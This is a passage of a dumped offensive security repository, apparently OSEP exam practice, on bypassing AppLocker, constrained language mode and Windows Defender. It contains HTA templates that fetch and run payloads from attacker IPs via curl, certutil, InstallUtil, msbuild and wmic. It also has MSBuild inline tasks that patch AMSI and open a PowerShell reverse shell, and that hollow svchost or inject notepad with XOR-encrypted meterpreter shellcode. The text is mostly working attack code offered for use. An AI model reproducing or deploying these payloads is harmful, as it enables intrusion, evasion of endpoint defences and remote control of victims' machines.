- Leverage the `hollow.xml` file, available at [hollow.xml](https://github.com/Extravenger/OSEPlayground/blob/main/03%20-%20CLM%20%26%20Applocker%20Bypass/3%20-%20MSBuild/hollow.xml), to bypass Windows Defender and AppLocker default rules.
================================================
FILE: 03 - CLM & Applocker Bypass/2 - HTA Templates/installutil.hta
================================================
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var amit = shell.Run("cmd.exe /c curl http://192.168.45.173/file.txt -o C:\\Users\\Public\\Documents\\file.txt && certutil -decode C:\\Users\\Public\\Documents\\file.txt C:\\Users\\Public\\Documents\\amit.exe && del C:\\Users\\Public\\Documents\\file.txt && C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false /U C:\\Users\\Public\\Documents\\amit.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
================================================
FILE: 03 - CLM & Applocker Bypass/2 - HTA Templates/msbuild.hta
================================================
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var amit = shell.Run("cmd.exe /c curl http://192.168.45.223/hollow.xml -o C:\\Users\\Public\\Documents\\hollow.xml && C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe C:\\Users\\Public\\Documents\\hollow.xml");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
================================================
FILE: 03 - CLM & Applocker Bypass/2 - HTA Templates/xsl.hta
================================================
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var amit = shell.Run("wmic process get /format:\"http://192.168.45.166/runner.xsl\"");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
================================================
FILE: 03 - CLM & Applocker Bypass/3 - MSBuild/README.md
================================================
## Process Hollowing
- The `hollow.xml` file facilitates process hollowing, offering a stable method capable of executing both 32-bit and 64-bit shellcode while evading Windows Defender detection. To deploy, transfer the file to the target system and execute:
- `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe hollow.xml`
- **Note**: The shellcode is XOR-encrypted with the key `0xfa`.
## Process Injection
- The `processInjection.xml` file supports process injection, providing a reliable mechanism for executing both 32-bit and 64-bit shellcode while bypassing Windows Defender. To implement, transfer the file to the target system and execute:
- `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe inject.xml`
- **Note**: The shellcode is XOR-encrypted with the key `0xfa`.
## Shellcode Execution
- The `shellcodeRunner.xml` file is designed to inject and execute shellcode within the current process. To use, transfer the file to the target system and execute:
- `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe shellcodeRunner.xml`
- **Note**: The shellcode is XOR-encrypted with the key `0xfa`.
================================================
FILE: 03 - CLM & Applocker Bypass/3 - MSBuild/clm-revshell.xml
================================================
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Bypass">
<FullBypass />
</Target>
<UsingTask
TaskName="FullBypass"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.ComponentModel;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
public class FullBypass : Task, ITask
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint floldProtect);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesWritten);
public static int BypassAMSI()
{
Console.WriteLine("Author: Shelldon");
Console.WriteLine("github: github.com/Sh3lldon");
Console.WriteLine("!!!! Please do not use in unethical hacking and follow all rules and regulations of laws!!!!");
Process[] processes = Process.GetProcessesByName("powershell");
if (processes.Length != 0)
{
Console.WriteLine("[+] Found " + processes.Length +" powershell processes\n");
}
else
{
Console.WriteLine("[-] Powershell process does not exist");
Console.WriteLine("Please create powershell process");
System.Environment.Exit(1);
}
int id = 0;
bool res = false;
for (int l = 0; l < processes.Length; l++)
{
id++;
Console.WriteLine("#" + id);
IntPtr hHandle = OpenProcess(0x001F0FFF, false, processes[l].Id);
IntPtr baseAddress = IntPtr.Zero;
IntPtr amsiScanBuffer = IntPtr.Zero;
int moduleSize = 0;
Console.WriteLine("[+] Powershell process id: " + processes[l].Id +" & handle: " + hHandle);
foreach (ProcessModule processModule in processes[l].Modules)
{
if (processModule.ModuleName == "amsi.dll")
{
Console.WriteLine("[+] Base address of amsi.dll: " + "0x" + processModule.BaseAddress.ToString("X"));
baseAddress = processModule.BaseAddress;
moduleSize = processModule.ModuleMemorySize;
Console.WriteLine("[+] Size of the module: 0x" + moduleSize.ToString("X"));
}
}
byte[] ret = new byte[32];
// First 32 bytes of AmsiScanBuffer function
byte[] fewBytes = new byte[32] { 0x4c, 0x8b, 0xdc, 0x49, 0x89, 0x5b, 0x08, 0x49, 0x89, 0x6b, 0x10, 0x49, 0x89, 0x73, 0x18, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x70, 0x4d, 0x8b, 0xf9, 0x41, 0x8b, 0xf8, 0x48, 0x8b };
IntPtr outt;
bool addrScanBuffer = false;
int count = 0;
for (int i = 0; i <= moduleSize; i += fewBytes.Length)
{
ReadProcessMemory(hHandle, baseAddress + i, ret, fewBytes.Length, out outt);
if (addrScanBuffer == true)
{
break;
}
for (int j = 0; j < fewBytes.Length; j++)
{
if (count == fewBytes.Length - 1)
{
amsiScanBuffer = baseAddress + i;
Console.WriteLine("[+] Found AmsiScanBuffer function: 0x" + amsiScanBuffer.ToString("X"));
res = false;
addrScanBuffer = true;
break;
}
if (fewBytes[j] == ret[j])
{
count++;
}
else if (fewBytes[j] != ret[j])
{
count = 0;
break;
}
}
}
if (count != fewBytes.Length - 1)
{
Console.WriteLine("[-] Cannot find need bytes of AmsiScanBuffer function");
Console.WriteLine("Maybe you have already hijacked memory :)\n----------------------------------------------------------\n");
res = true;
}
if (res)
{
continue;
}
uint lpflOldProtect;
if (VirtualProtectEx(hHandle, baseAddress, (uint)0x1000, 0x40, out lpflOldProtect))
{
Console.WriteLine("[+] Successfully changed memory protection");
}
else
{
Console.WriteLine("[-] Changing memory protection failed");
}
byte[] hijack = new byte[3] { 0x31, 0xff, 0x90 };
int numberOfBytesWritten = 0;
if (WriteProcessMemory(hHandle, amsiScanBuffer + 0x1b, hijack, (uint)hijack.Length, out numberOfBytesWritten))
{
Console.WriteLine("[+] Successfully hijacked\n----------------------------------------------------------\n");File.WriteAllText("C:\\Windows\\Tasks\\test.txt", "[+] Successfully hijacked\n----------------------------------------------------------\n");
}
else
{
Console.WriteLine("[-] Hijacking failed\n----------------------------------------------------------\n");
}
}
return 0;
}
public override bool Execute()
{
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
Console.WriteLine(BypassAMSI());
Console.Write("[*] Attacker IP: ");
string ip = Console.ReadLine();
Console.Write("[*] Attacker port: ");
string port = Console.ReadLine();
//Change IP and PORT
string revShellcommand = @"$client = New-Object System.Net.Sockets.TCPClient('IP',PORT);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
try
{
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
}
catch
{
$error[0].ToString() + $error[0].InvocationInfo.PositionMessage;
$sendback2 = ""ERROR: "" + $error[0].ToString() + ""`n`n"" + ""PS "" + (pwd).Path + '> ';
}
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
};
$client.Close();";
revShellcommand = revShellcommand.Replace("IP", ip).Replace("PORT", port);
ps.AddScript(revShellcommand);
ps.Invoke();
rs.Close();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
================================================
FILE: 03 - CLM & Applocker Bypass/3 - MSBuild/hollow.xml
================================================
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe processHollow.csproj -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using System.Threading;
public class ClassExample : Microsoft.Build.Utilities.Task
{
// Define necessary structures
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public IntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
// Constants
const uint CREATE_SUSPENDED = 0x00000004;
const int ProcessBasicInformation = 0;
// Function declarations
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
[DllImport("ntdll.dll")]
static extern int NtQueryInformationProcess(
IntPtr hProcess,
int processInformationClass,
ref PROCESS_BASIC_INFORMATION processInformation,
uint processInformationLength,
ref uint returnLength
);
[DllImport("ntdll.dll")]
static extern int NtReadVirtualMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpamitfer,
int NumberOfBytesToRead,
out IntPtr lpNumberOfBytesRead
);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpamitfer,
int NumberOfBytesToWrite,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("ntdll.dll", SetLastError = true)]
static extern bool NtResumeProcess(IntPtr hThread);
public static void Main()
{
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
// Create process in suspended state
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
NtQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr ptrImageBaseAddress = (IntPtr)((Int64)bi.PebAddress + 0x10);
byte[] baseAddressBytes = new byte[IntPtr.Size];
IntPtr nRead;
NtReadVirtualMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressBytes.Length, out nRead);
IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));
byte[] data = new byte[0x200];
NtReadVirtualMemory(hProcess, imageBaseAddress, data, data.Length, out nRead);
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
uint entrypointRvaOffset = e_lfanew + 0x28;
uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
IntPtr entrypointAddress = (IntPtr)((UInt64)imageBaseAddress + entrypointRva);
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f csharp EXITFUNC=thread
// XOR'd with key: 0xfa
byte[] amit = new byte[511] { 0x06,0xB2,0x79,0x1E,0x0A,0x12,0x36,0xFA,0xFA,0xFA,0xBB,0xAB,0xBB,0xAA,0xA8,0xB2,0xCB,0x28,0xAB,0xAC,0x9F,0xB2,0x71,0xA8,0x9A,0xB2,0x71,0xA8,0xE2,0xB2,0x71,0xA8,0xDA,0xB2,0x71,0x88,0xAA,0xB7,0xCB,0x33,0xB2,0xF5,0x4D,0xB0,0xB0,0xB2,0xCB,0x3A,0x56,0xC6,0x9B,0x86,0xF8,0xD6,0xDA,0xBB,0x3B,0x33,0xF7,0xBB,0xFB,0x3B,0x18,0x17,0xA8,0xBB,0xAB,0xB2,0x71,0xA8,0xDA,0x71,0xB8,0xC6,0xB2,0xFB,0x2A,0x9C,0x7B,0x82,0xE2,0xF1,0xF8,0xF5,0x7F,0x88,0xFA,0xFA,0xFA,0x71,0x7A,0x72,0xFA,0xFA,0xFA,0xB2,0x7F,0x3A,0x8E,0x9D,0xB2,0xFB,0x2A,0xAA,0xBE,0x71,0xBA,0xDA,0x71,0xB2,0xE2,0xB3,0xFB,0x2A,0x19,0xAC,0xB2,0x05,0x33,0xB7,0xCB,0x33,0xBB,0x71,0xCE,0x72,0xB2,0xFB,0x2C,0xB2,0xCB,0x3A,0x56,0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A,0xB2,0x79,0x16,0xEA,0xB2,0x73,0x18,0xB7,0xCB,0x33,0x90,0xFE,0xBB,0xA2,0xB2,0x73,0x03,0xBB,0x40,0xF8,0x23,0x32,0xA5,0x05,0x2F,0x79,0x02,0xFA,0x84,0xAF,0xB2,0x79,0x3E,0xDA,0xA4,0x73,0x0C,0x90,0xBA,0xBB,0xA3,0x92,0xFA,0xEA,0xFA,0xFA,0xBB,0xA2,0xB2,0x73,0x08,0xB2,0xCB,0x33,0xBB,0x40,0xA2,0x5E,0xA9,0x1F,0x05,0x2F,0xB2,0x73,0x39,0xB3,0x73,0x3D,0xB7,0xCB,0x33,0xB3,0x73,0x0A,0xB2,0x73,0x20,0xB2,0x73,0x03,0xBB,0x40,0xF8,0x23,0x32,0xA5,0x05,0x2F,0x79,0x02,0xFA,0x87,0xD2,0xA2,0xBB,0xAD,0xA3,0x92,0xFA,0xBA,0xFA,0xFA,0xBB,0xA2,0x90,0xFA,0xA0,0xBB,0x40,0xF1,0xD5,0xF5,0xCA,0x05,0x2F,0xAD,0xA3,0xBB,0x40,0x8F,0x94,0xB7,0x9B,0x05,0x2F,0xB3,0x05,0x34,0x13,0xC6,0x05,0x05,0x05,0xB2,0xFB,0x39,0xB2,0xD3,0x3C,0xB2,0x7F,0x0C,0x8F,0x4E,0xBB,0x05,0x1D,0xA2,0x90,0xFA,0xA3,0x41,0x1A,0xE7,0xD0,0xF0,0xBB,0x73,0x20,0x05,0x2F };
for (int i = 0; i < amit.Length; i++)
{
amit[i] = (byte)((uint)amit[i] ^ 0xfa);
}
WriteProcessMemory(hProcess, entrypointAddress, amit, amit.Length, out nRead);
// Step 8: Resume the thread to execute the shellcode
NtResumeProcess(pi.hProcess);
Console.WriteLine("Boom! Check your listener.");
}
public override bool Execute()
{
Main();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
================================================
FILE: 03 - CLM & Applocker Bypass/3 - MSBuild/hollow2.xml
================================================
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe processHollow.csproj -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using System.Threading;
public class ClassExample : Microsoft.Build.Utilities.Task
{
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public IntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
[DllImport("ntdll.dll")]
static extern int NtWriteVirtualMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int NumberOfBytesToWrite,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("ntdll.dll")]
static extern int NtReadVirtualMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int NumberOfBytesToRead,
out IntPtr lpNumberOfBytesRead
);
[DllImport("ntdll.dll", SetLastError = true)]
static extern bool NtResumeProcess(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
[DllImport("ntdll.dll")]
static extern int NtQueryInformationProcess(
IntPtr hProcess,
int processInformationClass,
ref PROCESS_BASIC_INFORMATION processInformation,
uint processInformationLength,
ref uint returnLength
);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flNewProtect,
out uint lpflOldProtect
);
public static void Main()
{
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x00000004, IntPtr.Zero, null, ref si, out pi);
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
NtQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr ptrImageBaseAddress = (IntPtr)((Int64)bi.PebAddress + 0x10);
byte[] baseAddressBytes = new byte[IntPtr.Size];
IntPtr nRead;
NtReadVirtualMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressBytes.Length, out nRead);
IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));
byte[] data = new byte[0x200];
NtReadVirtualMemory(hProcess, imageBaseAddress, data, data.Length, out nRead);
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
uint entrypointRvaOffset = e_lfanew + 0x28;
uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
IntPtr entrypointAddress = (IntPtr)((UInt64)imageBaseAddress + entrypointRva);
byte[] amit = new byte[511] { 0x06,0xB2,0x79,0x1E,0x0A,0x12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xFA,0x87,0xD2,0xA2,0xBB,0xAD,0xA3,0x92,0xFA,0xBA,0xFA,0xFA,0xBB,0xA2,0x90,0xFA,0xA0,0xBB,0x40,0xF1,0xD5,0xF5,0xCA,0x05,0x2F,0xAD,0xA3,0xBB,0x40,0x8F,0x94,0xB7,0x9B,0x05,0x2F,0xB3,0x05,0x34,0x13,0xC6,0x05,0x05,0x05,0xB2,0xFB,0x39,0xB2,0xD3,0x3C,0xB2,0x7F,0x0C,0x8F,0x4E,0xBB,0x05,0x1D,0xA2,0x90,0xFA,0xA3,0x41,0x1A,0xE7,0xD0,0xF0,0xBB,0x73,0x20,0x05,0x2F };
for (int i = 0; i < amit.Length; i++)
{
amit[i] = (byte)((uint)amit[i] ^ 0xfa);
}
// Change memory protection before writing
uint oldProtect;
bool protectResult = VirtualProtectEx(hProcess, entrypointAddress, (uint)amit.Length, 0x40, out oldProtect); // PAGE_EXECUTE_READWRITE
if (!protectResult)
{
Console.WriteLine("Failed to change memory protection!");
return;
}
// Perform the memory write
IntPtr bytesWritten;
int writeStatus = NtWriteVirtualMemory(hProcess, entrypointAddress, amit, amit.Length, out bytesWritten);
Console.WriteLine("NtWriteVirtualMemory status: " + writeStatus + ", bytes written: " + bytesWritten);
if (writeStatus != 0)
{
Console.WriteLine("Error writing memory!");
return;
}
// Restore original protection
VirtualProtectEx(hProcess, entrypointAddress, (uint)amit.Length, oldProtect, out oldProtect);
// Resume the process
bool resumeStatus = NtResumeProcess(pi.hProcess);
Console.WriteLine("NtResumeProcess status: " + resumeStatus);
if (!resumeStatus)
{
Console.WriteLine("Error resuming process!");
return;
}
Console.WriteLine("Boom! Check your listener.");
}
public override bool Execute()
{
Main();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
================================================
FILE: 03 - CLM & Applocker Bypass/3 - MSBuild/processInjection.xml
================================================
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe processHollow.csproj -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using Microsoft.Build.Utilities;
public class ClassExample : Microsoft.Build.Utilities.Task
{
private static readonly uint PAGE_EXECUTE_READWRITE = 0x40;
private static readonly uint MEM_COMMIT = 0x1000;
private static readonly uint MEM_RESERVE = 0x2000;
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential, Pack = 0)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtOpenProcess(ref IntPtr ProcessHandle, uint AccessMask, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID clientId);
[DllImport("ntdll.dll", SetLastError = true)]
static extern IntPtr NtAllocateVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, IntPtr zeroBits, ref IntPtr regionSize, uint allocationType, uint protect);
[DllImport("ntdll.dll", SetLastError = true)]
static extern int NtWriteVirtualMemory(IntPtr processHandle, IntPtr baseAddress, byte[] buffer, uint bufferSize, out uint written);
[DllImport("ntdll.dll", SetLastError = true)]
static extern uint NtCreateThreadEx(out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, [MarshalAs(UnmanagedType.Bool)] bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer);
public static void Main()
{
Process.Start("C:\\Windows\\System32\\notepad.exe");
// Find the target process (e.g., notepad)
Process[] targetProcess = Process.GetProcessesByName("notepad");
IntPtr htargetProcess = targetProcess[0].Handle;
// Prepare the CLIENT_ID and OBJECT_ATTRIBUTES for NtOpenProcess
IntPtr hProcess = IntPtr.Zero;
CLIENT_ID clientid = new CLIENT_ID();
clientid.UniqueProcess = new IntPtr(targetProcess[0].Id);
clientid.UniqueThread = IntPtr.Zero;
OBJECT_ATTRIBUTES ObjectAttributes = new OBJECT_ATTRIBUTES();
uint status = NtOpenProcess(ref hProcess, 0x001F0FFF, ref ObjectAttributes, ref clientid);
// Example shellcode (This should be replaced with actual shellcode from msfvenom)
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f csharp EXITFUNC=thread
// XOR'd with key 0xfa
byte[] buf = new byte[511] { 0x06,0xB2,0x79,0x1E,0x0A,0x12,0x36,0xFA,0xFA,0xFA,0xBB,0xAB,0xBB,0xAA,0xA8,0xB2,0xCB,0x28,0xAB,0xAC,0x9F,0xB2,0x71,0xA8,0x9A,0xB2,0x71,0xA8,0xE2,0xB2,0x71,0xA8,0xDA,0xB2,0xF5,0x4D,0xB0,0xB0,0xB7,0xCB,0x33,0xB2,0x71,0x88,0xAA,0xB2,0xCB,0x3A,0x56,0xC6,0x9B,0x86,0xF8,0xD6,0xDA,0xBB,0x3B,0x33,0xF7,0xBB,0xFB,0x3B,0x18,0x17,0xA8,0xBB,0xAB,0xB2,0x71,0xA8,0xDA,0x71,0xB8,0xC6,0xB2,0xFB,0x2A,0x9C,0x7B,0x82,0xE2,0xF1,0xF8,0xF5,0x7F,0x88,0xFA,0xFA,0xFA,0x71,0x7A,0x72,0xFA,0xFA,0xFA,0xB2,0x7F,0x3A,0x8E,0x9D,0xB2,0xFB,0x2A,0x71,0xB2,0xE2,0xAA,0xBE,0x71,0xBA,0xDA,0xB3,0xFB,0x2A,0x19,0xAC,0xB7,0xCB,0x33,0xB2,0x05,0x33,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0x8E,0xF0,0xB3,0x05,0x34,0x8F,0x1F,0x12,0x69,0xFA,0xFA,0xFA,0xB2,0x79,0x16,0xEA,0xB2,0x73,0x18,0xB7,0xCB,0x33,0x90,0xFE,0xBB,0xA2,0xB2,0x73,0x03,0xBB,0x40,0xF8,0x23,0x32,0xA5,0x05,0x2F,0x79,0x02,0xFA,0x84,0xAF,0xB2,0x79,0x3E,0xDA,0xA4,0x73,0x0C,0x90,0xBA,0xBB,0xA3,0x92,0xFA,0xEA,0xFA,0xFA,0xBB,0xA2,0xB2,0x73,0x08,0xB2,0xCB,0x33,0xBB,0x40,0xA2,0x5E,0xA9,0x1F,0x05,0x2F,0xB2,0x73,0x39,0xB3,0x73,0x3D,0xB7,0xCB,0x33,0xB3,0x73,0x0A,0xB2,0x73,0x20,0xB2,0x73,0x03,0xBB,0x40,0xF8,0x23,0x32,0xA5,0x05,0x2F,0x79,0x02,0xFA,0x87,0xD2,0xA2,0xBB,0xAD,0xA3,0x92,0xFA,0xBA,0xFA,0xFA,0xBB,0xA2,0x90,0xFA,0xA0,0xBB,0x40,0xF1,0xD5,0xF5,0xCA,0x05,0x2F,0xAD,0xA3,0xBB,0x40,0x8F,0x94,0xB7,0x9B,0x05,0x2F,0xB3,0x05,0x34,0x13,0xC6,0x05,0x05,0x05,0xB2,0xFB,0x39,0xB2,0xD3,0x3C,0xB2,0x7F,0x0C,0x8F,0x4E,0xBB,0x05,0x1D,0xA2,0x90,0xFA,0xA3,0x41,0x1A,0xE7,0xD0,0xF0,0xBB,0x73,0x20,0x05,0x2F };
// Allocate memory for shellcode in target process
IntPtr baseAddress = IntPtr.Zero;
IntPtr regionSize = (IntPtr)buf.Length;
IntPtr NtAllocResult = NtAllocateVirtualMemory(hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Decode shellcode (XOR with key 0xfa)
for (int j = 0; j < buf.Length; j++)
{
buf[j] = (byte)((uint)buf[j] ^ 0xfa);
}
// Write shellcode to target process memory
uint wr;
int NtWriteProcess = NtWriteVirtualMemory(hProcess, baseAddress, buf, (uint)buf.Length, out wr);
// Create a remote thread in the target process to execute the shellcode
IntPtr hRemoteThread;
uint hThread = NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, htargetProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
}
public override bool Execute()
{
Main();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
================================================
FILE: 03 - CLM & Applocker Bypass/3 - MSBuild/shellcodeRunner.xml
================================================
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe powaShell.csproj -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
